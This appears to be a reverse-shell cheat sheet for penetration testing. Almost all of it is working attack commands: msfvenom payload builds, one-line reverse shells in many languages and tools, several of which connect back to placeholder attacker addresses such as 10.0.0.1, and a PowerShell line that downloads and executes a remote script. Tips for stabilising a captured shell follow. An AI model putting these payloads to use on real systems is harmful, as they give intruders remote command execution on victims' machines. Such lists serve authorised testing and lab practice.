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2 ways to use Msfvenom Payload with Netcat

1st Method

msfvenom –p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=8956 –f exe > /root/Desktop/root.exe

2nd Method

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msfvenom -p windows/shell_reverse_tcp lhost=ip lport=8888 –f exe > /root/Desktop/1.exe
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Reverse Shell

Bash TCP

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bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
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0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196
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Bash UDP

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Victim:
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sh -i >& /dev/udp/127.0.0.1/4242 0>&1
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Listener:
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nc -u -lvp 4242
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Socat

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[email protected]$ socat file:`tty`,raw,echo=0 TCP-L:4242
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[email protected]$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4242
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Static socat binary can be found at https://github.com/andrew-d/static-binaries

Perl

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perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
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perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
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NOTE: Windows only
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perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
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Python

Linux only
IPv4
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export RHOST="10.10.10.10";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
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IPv4
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
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IPv6
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python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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Windows only
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C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.10.10.10', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
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PHP

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php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
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php -r '$sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
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Ruby

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ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
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ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
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NOTE: Windows only
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ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
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Golang

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echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
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Netcat Traditional

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nc -e /bin/sh [IPADDR] [PORT]
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nc.traditional -e /bin/bash 10.0.0.1 4444
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nc -c bash 10.0.0.1 4444
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Netcat OpenBsd

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rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f
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Ncat

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ncat 127.0.0.1 4444 -e /bin/bash
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ncat --udp 127.0.0.1 4444 -e /bin/bash
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OpenSSL

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[email protected]$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
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[email protected]$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
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[email protected]$ ncat --ssl -vv -l -p 4242
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[email protected]$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s
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Powershell

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powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
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powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
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powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
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Awk

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awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
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Java

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r = Runtime.getRuntime()
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p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
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p.waitFor()
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War

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msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
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strings reverse.war | grep jsp # in order to get the name of the file
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Lua

Linux only
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lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
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Windows and Linux
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lua5.1 -e 'local host, port = "10.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
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NodeJS

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(function(){
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var net = require("net"),
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cp = require("child_process"),
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sh = cp.spawn("/bin/sh", []);
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var client = new net.Socket();
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client.connect(4242, "10.0.0.1", function(){
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client.pipe(sh.stdin);
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sh.stdout.pipe(client);
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sh.stderr.pipe(client);
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});
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return /a/; // Prevents the Node.js application form crashing
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})();
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require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
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-var x = global.process.mainModule.require
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-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
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or
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https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
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Groovy

by frohoff NOTE: Java reverse shell also work for Groovy
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String host="localhost";
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int port=8044;
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String cmd="cmd.exe";
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Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
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Meterpreter Shell

Windows Staged reverse TCP

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$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f exe > reverse.exe
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Windows Stageless reverse TCP

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$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f exe > reverse.exe
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Linux Staged reverse TCP

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$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f elf >reverse.elf
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Linux Stageless reverse TCP

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$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.110 LPORT=4242 -f elf >reverse.elf
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Other platforms

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$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf
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$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe
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$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho
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$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
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$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
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$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war
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$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py
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$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
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$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl
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$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
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Spawn TTY Shell

In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell, allowing you to clear the screen with [CTRL] + [L].
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rlwrap nc localhost 80
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rlwrap -r -f . nc 127.0.0.1 4242
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-f . will make rlwrap use the current history file as a completion word list.
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-r Put all words seen on in- and output on the completion list.
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Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
⚠️ OhMyZSH might break this trick, a simple sh is recommended
The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
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ctrl+z
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echo $TERM && tput lines && tput cols
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# for bash
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stty raw -echo
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fg
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# for zsh
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stty raw -echo; fg
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reset
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export SHELL=bash
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export TERM=xterm-256color
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stty rows <num> columns <cols>
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or use socat binary to get a fully tty reverse shell
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socat file:`tty`,raw,echo=0 tcp-listen:12345
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Spawn a TTY shell from an interpreter
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/bin/sh -i
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python -c 'import pty; pty.spawn("/bin/sh")'
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perl -e 'exec "/bin/sh";'
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perl: exec "/bin/sh";
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ruby: exec "/bin/sh"
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lua: os.execute('/bin/sh')
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